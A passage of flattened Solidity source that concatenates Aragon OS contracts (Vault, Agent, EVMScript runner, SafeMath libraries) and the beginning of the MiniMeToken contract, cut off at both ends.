_token.allowance.selector, _owner, _spender ); (bool success, uint256 allowance) = staticInvoke(_token, allowanceCallData); require(success, ERROR_TOKEN_ALLOWANCE_REVERTED); return allowance; } } // File: @aragon/os/contracts/common/VaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract VaultRecoverable is IVaultRecoverable, EtherTokenConstant, IsContract { using SafeERC20 for ERC20; string private constant ERROR_DISALLOWED = "RECOVER_DISALLOWED"; string private constant ERROR_VAULT_NOT_CONTRACT = "RECOVER_VAULT_NOT_CONTRACT"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "RECOVER_TOKEN_TRANSFER_FAILED"; /** * @notice Send funds to recovery Vault. This contract should never receive funds, * but in case it does, this function allows one to recover them. * @param _token Token balance to be sent to recovery vault. */ function transferToVault(address _token) external { require(allowRecoverability(_token), ERROR_DISALLOWED); address vault = getRecoveryVault(); require(isContract(vault), ERROR_VAULT_NOT_CONTRACT); uint256 balance; if (_token == ETH) { balance = address(this).balance; vault.transfer(balance); } else { ERC20 token = ERC20(_token); balance = token.staticBalanceOf(this); require(token.safeTransfer(vault, balance), ERROR_TOKEN_TRANSFER_FAILED); } emit RecoverToVault(vault, _token, balance); } /** * @dev By default deriving from AragonApp makes it recoverable * @param token Token address that would be recovered * @return bool whether the app allows the recovery */ function allowRecoverability(address token) public view returns (bool) { return true; } // Cast non-implemented interface to be public so we can use it internally function getRecoveryVault() public view returns (address); } // File: @aragon/os/contracts/evmscript/IEVMScriptExecutor.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); function executorType() external pure returns (bytes32); } // File: @aragon/os/contracts/evmscript/IEVMScriptRegistry.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRegistryConstants { /* Hardcoded constants to save gas bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = apmNamehash("evmreg"); */ bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = 0xddbcfd564f642ab5627cf68b9b7d374fb4f8a36e941a75d89c87998cef03bd61; } interface IEVMScriptRegistry { function addScriptExecutor(IEVMScriptExecutor executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function getScriptExecutor(bytes script) public view returns (IEVMScriptExecutor); } // File: @aragon/os/contracts/kernel/KernelConstants.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract KernelAppIds { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_APP_ID = apmNamehash("kernel"); bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = apmNamehash("acl"); bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = apmNamehash("vault"); */ bytes32 internal constant KERNEL_CORE_APP_ID = 0x3b4bf6bf3ad5000ecf0f989d5befde585c6860fea3e574a4fab4c49d1c177d9c; bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = 0xe3262375f45a6e2026b7e7b18c2b807434f2508fe1a2a3dfb493c7df8f4aad6a; bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; } contract KernelNamespaceConstants { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_NAMESPACE = keccak256("core"); bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = keccak256("base"); bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = keccak256("app"); */ bytes32 internal constant KERNEL_CORE_NAMESPACE = 0xc681a85306374a5ab27f0bbc385296a54bcd314a1948b6cf61c4ea1bc44bb9f8; bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = 0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f; bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = 0xd6f028ca0e8edb4a8c9757ca4fdccab25fa1e0317da1188108f7d2dee14902fb; } // File: @aragon/os/contracts/evmscript/EVMScriptRunner.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRunner is AppStorage, Initializable, EVMScriptRegistryConstants, KernelNamespaceConstants { string private constant ERROR_EXECUTOR_UNAVAILABLE = "EVMRUN_EXECUTOR_UNAVAILABLE"; string private constant ERROR_PROTECTED_STATE_MODIFIED = "EVMRUN_PROTECTED_STATE_MODIFIED"; /* This is manually crafted in assembly string private constant ERROR_EXECUTOR_INVALID_RETURN = "EVMRUN_EXECUTOR_INVALID_RETURN"; */ event ScriptResult(address indexed executor, bytes script, bytes input, bytes returnData); function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script)); } function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) { address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID); return IEVMScriptRegistry(registryAddr); } function runScript(bytes _script, bytes _input, address[] _blacklist) internal isInitialized protectState returns (bytes) { IEVMScriptExecutor executor = getEVMScriptExecutor(_script); require(address(executor) != address(0), ERROR_EXECUTOR_UNAVAILABLE); bytes4 sig = executor.execScript.selector; bytes memory data = abi.encodeWithSelector(sig, _script, _input, _blacklist); bytes memory output; assembly { let success := delegatecall( gas, // forward all gas executor, // address add(data, 0x20), // calldata start mload(data), // calldata length 0, // don't write output (we'll handle this ourselves) 0 // don't write output ) output := mload(0x40) // free mem ptr get switch success case 0 { // If the call errored, forward its full error data returndatacopy(output, 0, returndatasize) revert(output, returndatasize) } default { switch gt(returndatasize, 0x3f) case 0 { // Need at least 0x40 bytes returned for properly ABI-encoded bytes values, // revert with "EVMRUN_EXECUTOR_INVALID_RETURN" // See remix: doing a `revert("EVMRUN_EXECUTOR_INVALID_RETURN")` always results in // this memory layout mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // reason length mstore(add(output, 0x44), 0x45564d52554e5f4558454355544f525f494e56414c49445f52455455524e0000) // reason revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Copy result // // Needs to perform an ABI decode for the expected `bytes` return type of // `executor.execScript()` as solidity will automatically ABI encode the returned bytes as: // [ position of the first dynamic length return value = 0x20 (32 bytes) ] // [ output length (32 bytes) ] // [ output content (N bytes) ] // // Perform the ABI decode by ignoring the first 32 bytes of the return data let copysize := sub(returndatasize, 0x20) returndatacopy(output, 0x20, copysize) mstore(0x40, add(output, copysize)) // free mem ptr set } } } emit ScriptResult(address(executor), _script, _input, output); return output; } modifier protectState { address preKernel = address(kernel()); bytes32 preAppId = appId(); _; // exec require(address(kernel()) == preKernel, ERROR_PROTECTED_STATE_MODIFIED); require(appId() == preAppId, ERROR_PROTECTED_STATE_MODIFIED); } } // File: @aragon/os/contracts/apps/AragonApp.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // Contracts inheriting from AragonApp are, by default, immediately petrified upon deployment so // that they can never be initialized. // Unless overriden, this behaviour enforces those contracts to be usable only behind an AppProxy. // ReentrancyGuard, EVMScriptRunner, and ACLSyntaxSugar are not directly used by this contract, but // are included so that they are automatically usable by subclassing contracts contract AragonApp is AppStorage, Autopetrified, VaultRecoverable, ReentrancyGuard, EVMScriptRunner, ACLSyntaxSugar { string private constant ERROR_AUTH_FAILED = "APP_AUTH_FAILED"; modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0)), ERROR_AUTH_FAILED); _; } modifier authP(bytes32 _role, uint256[] _params) { require(canPerform(msg.sender, _role, _params), ERROR_AUTH_FAILED); _; } /** * @dev Check whether an action can be performed by a sender for a particular role on this app * @param _sender Sender of the call * @param _role Role on this app * @param _params Permission params for the role * @return Boolean indicating whether the sender has the permissions to perform the action. * Always returns false if the app hasn't been initialized yet. */ function canPerform(address _sender, bytes32 _role, uint256[] _params) public view returns (bool) { if (!hasInitialized()) { return false; } IKernel linkedKernel = kernel(); if (address(linkedKernel) == address(0)) { return false; } return linkedKernel.hasPermission( _sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params) ); } /** * @dev Get the recovery vault for the app * @return Recovery vault address for the app */ function getRecoveryVault() public view returns (address) { // Funds recovery via a vault is only available when used with a kernel return kernel().getRecoveryVault(); // if kernel is not set, it will revert } } // File: @aragon/os/contracts/common/DepositableStorage.sol pragma solidity 0.4.24; contract DepositableStorage { using UnstructuredStorage for bytes32; // keccak256("aragonOS.depositableStorage.depositable") bytes32 internal constant DEPOSITABLE_POSITION = 0x665fd576fbbe6f247aff98f5c94a561e3f71ec2d3c988d56f12d342396c50cea; function isDepositable() public view returns (bool) { return DEPOSITABLE_POSITION.getStorageBool(); } function setDepositable(bool _depositable) internal { DEPOSITABLE_POSITION.setStorageBool(_depositable); } } // File: @aragon/apps-vault/contracts/Vault.sol pragma solidity 0.4.24; contract Vault is EtherTokenConstant, AragonApp, DepositableStorage { using SafeERC20 for ERC20; bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE"); string private constant ERROR_DATA_NON_ZERO = "VAULT_DATA_NON_ZERO"; string private constant ERROR_NOT_DEPOSITABLE = "VAULT_NOT_DEPOSITABLE"; string private constant ERROR_DEPOSIT_VALUE_ZERO = "VAULT_DEPOSIT_VALUE_ZERO"; string private constant ERROR_TRANSFER_VALUE_ZERO = "VAULT_TRANSFER_VALUE_ZERO"; string private constant ERROR_SEND_REVERTED = "VAULT_SEND_REVERTED"; string private constant ERROR_VALUE_MISMATCH = "VAULT_VALUE_MISMATCH"; string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "VAULT_TOKEN_TRANSFER_FROM_REVERT"; string private constant ERROR_TOKEN_TRANSFER_REVERTED = "VAULT_TOKEN_TRANSFER_REVERTED"; event VaultTransfer(address indexed token, address indexed to, uint256 amount); event VaultDeposit(address indexed token, address indexed sender, uint256 amount); /** * @dev On a normal send() or transfer() this fallback is never executed as it will be * intercepted by the Proxy (see aragonOS#281) */ function () external payable isInitialized { require(msg.data.length == 0, ERROR_DATA_NON_ZERO); _deposit(ETH, msg.value); } /** * @notice Initialize Vault app * @dev As an AragonApp it needs to be initialized in order for roles (`auth` and `authP`) to work */ function initialize() external onlyInit { initialized(); setDepositable(true); } /** * @notice Deposit `_value` `_token` to the vault * @param _token Address of the token being transferred * @param _value Amount of tokens being transferred */ function deposit(address _token, uint256 _value) external payable isInitialized { _deposit(_token, _value); } /** * @notice Transfer `_value` `_token` from the Vault to `_to` * @param _token Address of the token being transferred * @param _to Address of the recipient of tokens * @param _value Amount of tokens being transferred */ /* solium-disable-next-line function-order */ function transfer(address _token, address _to, uint256 _value) external authP(TRANSFER_ROLE, arr(_token, _to, _value)) { require(_value > 0, ERROR_TRANSFER_VALUE_ZERO); if (_token == ETH) { require(_to.send(_value), ERROR_SEND_REVERTED); } else { require(ERC20(_token).safeTransfer(_to, _value), ERROR_TOKEN_TRANSFER_REVERTED); } emit VaultTransfer(_token, _to, _value); } function balance(address _token) public view returns (uint256) { if (_token == ETH) { return address(this).balance; } else { return ERC20(_token).staticBalanceOf(address(this)); } } /** * @dev Disable recovery escape hatch, as it could be used * maliciously to transfer funds away from the vault */ function allowRecoverability(address) public view returns (bool) { return false; } function _deposit(address _token, uint256 _value) internal { require(isDepositable(), ERROR_NOT_DEPOSITABLE); require(_value > 0, ERROR_DEPOSIT_VALUE_ZERO); if (_token == ETH) { // Deposit is implicit in this case require(msg.value == _value, ERROR_VALUE_MISMATCH); } else { require( ERC20(_token).safeTransferFrom(msg.sender, address(this), _value), ERROR_TOKEN_TRANSFER_FROM_REVERTED ); } emit VaultDeposit(_token, msg.sender, _value); } } // File: @aragon/os/contracts/common/IForwarder.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IForwarder { function isForwarder() external pure returns (bool); // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function canForward(address sender, bytes evmCallScript) public view returns (bool); // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function forward(bytes evmCallScript) public; } // File: @aragon/apps-agent/contracts/Agent.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Agent is IERC165, ERC1271Bytes, IForwarder, IsContract, Vault { /* Hardcoded constants to save gas bytes32 public constant EXECUTE_ROLE = keccak256("EXECUTE_ROLE"); bytes32 public constant SAFE_EXECUTE_ROLE = keccak256("SAFE_EXECUTE_ROLE"); bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = keccak256("ADD_PROTECTED_TOKEN_ROLE"); bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = keccak256("REMOVE_PROTECTED_TOKEN_ROLE"); bytes32 public constant ADD_PRESIGNED_HASH_ROLE = keccak256("ADD_PRESIGNED_HASH_ROLE"); bytes32 public constant DESIGNATE_SIGNER_ROLE = keccak256("DESIGNATE_SIGNER_ROLE"); bytes32 public constant RUN_SCRIPT_ROLE = keccak256("RUN_SCRIPT_ROLE"); */ bytes32 public constant EXECUTE_ROLE = 0xcebf517aa4440d1d125e0355aae64401211d0848a23c02cc5d29a14822580ba4; bytes32 public constant SAFE_EXECUTE_ROLE = 0x0a1ad7b87f5846153c6d5a1f761d71c7d0cfd122384f56066cd33239b7933694; bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = 0x6eb2a499556bfa2872f5aa15812b956cc4a71b4d64eb3553f7073c7e41415aaa; bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = 0x71eee93d500f6f065e38b27d242a756466a00a52a1dbcd6b4260f01a8640402a; bytes32 public constant ADD_PRESIGNED_HASH_ROLE = 0x0b29780bb523a130b3b01f231ef49ed2fa2781645591a0b0a44ca98f15a5994c; bytes32 public constant DESIGNATE_SIGNER_ROLE = 0x23ce341656c3f14df6692eebd4757791e33662b7dcf9970c8308303da5472b7c; bytes32 public constant RUN_SCRIPT_ROLE = 0xb421f7ad7646747f3051c50c0b8e2377839296cd4973e27f63821d73e390338f; uint256 public constant PROTECTED_TOKENS_CAP = 10; bytes4 private constant ERC165_INTERFACE_ID = 0x01ffc9a7; string private constant ERROR_TARGET_PROTECTED = "AGENT_TARGET_PROTECTED"; string private constant ERROR_PROTECTED_TOKENS_MODIFIED = "AGENT_PROTECTED_TOKENS_MODIFIED"; string private constant ERROR_PROTECTED_BALANCE_LOWERED = "AGENT_PROTECTED_BALANCE_LOWERED"; string private constant ERROR_TOKENS_CAP_REACHED = "AGENT_TOKENS_CAP_REACHED"; string private constant ERROR_TOKEN_NOT_ERC20 = "AGENT_TOKEN_NOT_ERC20"; string private constant ERROR_TOKEN_ALREADY_PROTECTED = "AGENT_TOKEN_ALREADY_PROTECTED"; string private constant ERROR_TOKEN_NOT_PROTECTED = "AGENT_TOKEN_NOT_PROTECTED"; string private constant ERROR_DESIGNATED_TO_SELF = "AGENT_DESIGNATED_TO_SELF"; string private constant ERROR_CAN_NOT_FORWARD = "AGENT_CAN_NOT_FORWARD"; mapping (bytes32 => bool) public isPresigned; address public designatedSigner; address[] public protectedTokens; event SafeExecute(address indexed sender, address indexed target, bytes data); event Execute(address indexed sender, address indexed target, uint256 ethValue, bytes data); event AddProtectedToken(address indexed token); event RemoveProtectedToken(address indexed token); event PresignHash(address indexed sender, bytes32 indexed hash); event SetDesignatedSigner(address indexed sender, address indexed oldSigner, address indexed newSigner); /** * @notice Execute '`@radspec(_target, _data)`' on `_target``_ethValue == 0 ? '' : ' (Sending' + @tokenAmount(0x0000000000000000000000000000000000000000, _ethValue) + ')'` * @param _target Address where the action is being executed * @param _ethValue Amount of ETH from the contract that is sent with the action * @param _data Calldata for the action * @return Exits call frame forwarding the return data of the executed call (either error or success data) */ function execute(address _target, uint256 _ethValue, bytes _data) external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context authP(EXECUTE_ROLE, arr(_target, _ethValue, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs { bool result = _target.call.value(_ethValue)(_data); if (result) { emit Execute(msg.sender, _target, _ethValue, _data); } assembly { let ptr := mload(0x40) returndatacopy(ptr, 0, returndatasize) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, returndatasize) } default { return(ptr, returndatasize) } } } /** * @notice Execute '`@radspec(_target, _data)`' on `_target` ensuring that protected tokens can't be spent * @param _target Address where the action is being executed * @param _data Calldata for the action * @return Exits call frame forwarding the return data of the executed call (either error or success data) */ function safeExecute(address _target, bytes _data) external // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context authP(SAFE_EXECUTE_ROLE, arr(_target, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs { uint256 protectedTokensLength = protectedTokens.length; address[] memory protectedTokens_ = new address[](protectedTokensLength); uint256[] memory balances = new uint256[](protectedTokensLength); for (uint256 i = 0; i < protectedTokensLength; i++) { address token = protectedTokens[i]; require(_target != token, ERROR_TARGET_PROTECTED); // we copy the protected tokens array to check whether the storage array has been modified during the underlying call protectedTokens_[i] = token; // we copy the balances to check whether they have been modified during the underlying call balances[i] = balance(token); } bool result = _target.call(_data); bytes32 ptr; uint256 size; assembly { size := returndatasize ptr := mload(0x40) mstore(0x40, add(ptr, returndatasize)) returndatacopy(ptr, 0, returndatasize) } if (result) { // if the underlying call has succeeded, we check that the protected tokens // and their balances have not been modified and return the call's return data require(protectedTokens.length == protectedTokensLength, ERROR_PROTECTED_TOKENS_MODIFIED); for (uint256 j = 0; j < protectedTokensLength; j++) { require(protectedTokens[j] == protectedTokens_[j], ERROR_PROTECTED_TOKENS_MODIFIED); require(balance(protectedTokens[j]) >= balances[j], ERROR_PROTECTED_BALANCE_LOWERED); } emit SafeExecute(msg.sender, _target, _data); assembly { return(ptr, size) } } else { // if the underlying call has failed, we revert and forward returned error data assembly { revert(ptr, size) } } } /** * @notice Add `_token.symbol(): string` to the list of protected tokens * @param _token Address of the token to be protected */ function addProtectedToken(address _token) external authP(ADD_PROTECTED_TOKEN_ROLE, arr(_token)) { require(protectedTokens.length < PROTECTED_TOKENS_CAP, ERROR_TOKENS_CAP_REACHED); require(_isERC20(_token), ERROR_TOKEN_NOT_ERC20); require(!_tokenIsProtected(_token), ERROR_TOKEN_ALREADY_PROTECTED); _addProtectedToken(_token); } /** * @notice Remove `_token.symbol(): string` from the list of protected tokens * @param _token Address of the token to be unprotected */ function removeProtectedToken(address _token) external authP(REMOVE_PROTECTED_TOKEN_ROLE, arr(_token)) { require(_tokenIsProtected(_token), ERROR_TOKEN_NOT_PROTECTED); _removeProtectedToken(_token); } /** * @notice Pre-sign hash `_hash` * @param _hash Hash that will be considered signed regardless of the signature checked with 'isValidSignature()' */ function presignHash(bytes32 _hash) external authP(ADD_PRESIGNED_HASH_ROLE, arr(_hash)) { isPresigned[_hash] = true; emit PresignHash(msg.sender, _hash); } /** * @notice Set `_designatedSigner` as the designated signer of the app, which will be able to sign messages on behalf of the app * @param _designatedSigner Address that will be able to sign messages on behalf of the app */ function setDesignatedSigner(address _designatedSigner) external authP(DESIGNATE_SIGNER_ROLE, arr(_designatedSigner)) { // Prevent an infinite loop by setting the app itself as its designated signer. // An undetectable loop can be created by setting a different contract as the // designated signer which calls back into `isValidSignature`. // Given that `isValidSignature` is always called with just 50k gas, the max // damage of the loop is wasting 50k gas. require(_designatedSigner != address(this), ERROR_DESIGNATED_TO_SELF); address oldDesignatedSigner = designatedSigner; designatedSigner = _designatedSigner; emit SetDesignatedSigner(msg.sender, oldDesignatedSigner, _designatedSigner); } // Forwarding fns /** * @notice Tells whether the Agent app is a forwarder or not * @dev IForwarder interface conformance * @return Always true */ function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute the script as the Agent app * @dev IForwarder interface conformance. Forwards any token holder action. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); bytes memory input = ""; // no input address[] memory blacklist = new address[](0); // no addr blacklist, can interact with anything runScript(_evmScript, input, blacklist); // We don't need to emit an event here as EVMScriptRunner will emit ScriptResult if successful } /** * @notice Tells whether `_sender` can forward actions or not * @dev IForwarder interface conformance * @param _sender Address of the account intending to forward an action * @return True if the given address can run scripts, false otherwise */ function canForward(address _sender, bytes _evmScript) public view returns (bool) { // Note that `canPerform()` implicitly does an initialization check itself return canPerform(_sender, RUN_SCRIPT_ROLE, arr(_getScriptACLParam(_evmScript))); } // ERC-165 conformance /** * @notice Tells whether this contract supports a given ERC-165 interface * @param _interfaceId Interface bytes to check * @return True if this contract supports the interface */ function supportsInterface(bytes4 _interfaceId) external pure returns (bool) { return _interfaceId == ERC1271_INTERFACE_ID || _interfaceId == ERC165_INTERFACE_ID; } // ERC-1271 conformance /** * @notice Tells whether a signature is seen as valid by this contract through ERC-1271 * @param _hash Arbitrary length data signed on the behalf of address (this) * @param _signature Signature byte array associated with _data * @return The ERC-1271 magic value if the signature is valid */ function isValidSignature(bytes32 _hash, bytes _signature) public view returns (bytes4) { // Short-circuit in case the hash was presigned. Optimization as performing calls // and ecrecover is more expensive than an SLOAD. if (isPresigned[_hash]) { return returnIsValidSignatureMagicNumber(true); } bool isValid; if (designatedSigner == address(0)) { isValid = false; } else { isValid = SignatureValidator.isValidSignature(_hash, designatedSigner, _signature); } return returnIsValidSignatureMagicNumber(isValid); } // Getters function getProtectedTokensLength() public view isInitialized returns (uint256) { return protectedTokens.length; } // Internal fns function _addProtectedToken(address _token) internal { protectedTokens.push(_token); emit AddProtectedToken(_token); } function _removeProtectedToken(address _token) internal { protectedTokens[_protectedTokenIndex(_token)] = protectedTokens[protectedTokens.length - 1]; protectedTokens.length--; emit RemoveProtectedToken(_token); } function _isERC20(address _token) internal view returns (bool) { if (!isContract(_token)) { return false; } // Throwaway sanity check to make sure the token's `balanceOf()` does not error (for now) balance(_token); return true; } function _protectedTokenIndex(address _token) internal view returns (uint256) { for (uint i = 0; i < protectedTokens.length; i++) { if (protectedTokens[i] == _token) { return i; } } revert(ERROR_TOKEN_NOT_PROTECTED); } function _tokenIsProtected(address _token) internal view returns (bool) { for (uint256 i = 0; i < protectedTokens.length; i++) { if (protectedTokens[i] == _token) { return true; } } return false; } function _getScriptACLParam(bytes _evmScript) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(_evmScript))); } function _getSig(bytes _data) internal pure returns (bytes4 sig) { if (_data.length < 4) { return; } assembly { sig := mload(add(_data, 0x20)) } } } // File: @aragon/os/contracts/lib/math/SafeMath.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted to use pragma ^0.4.24 and satisfy our linter rules pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/os/contracts/lib/math/SafeMath64.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted for uint64, pragma ^0.4.24, and satisfying our linter rules // Also optimized the mul() implementation, see https://github.com/aragon/aragonOS/pull/417 pragma solidity ^0.4.24; /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/apps-shared-minime/contracts/ITokenController.sol pragma solidity ^0.4.24; /// @dev The token controller contract must implement these functions interface ITokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) external payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) external returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) external returns(bool); } // File: @aragon/apps-shared-minime/contracts/MiniMeToken.sol pragma solidity ^0.4.24; /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes _data ) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] 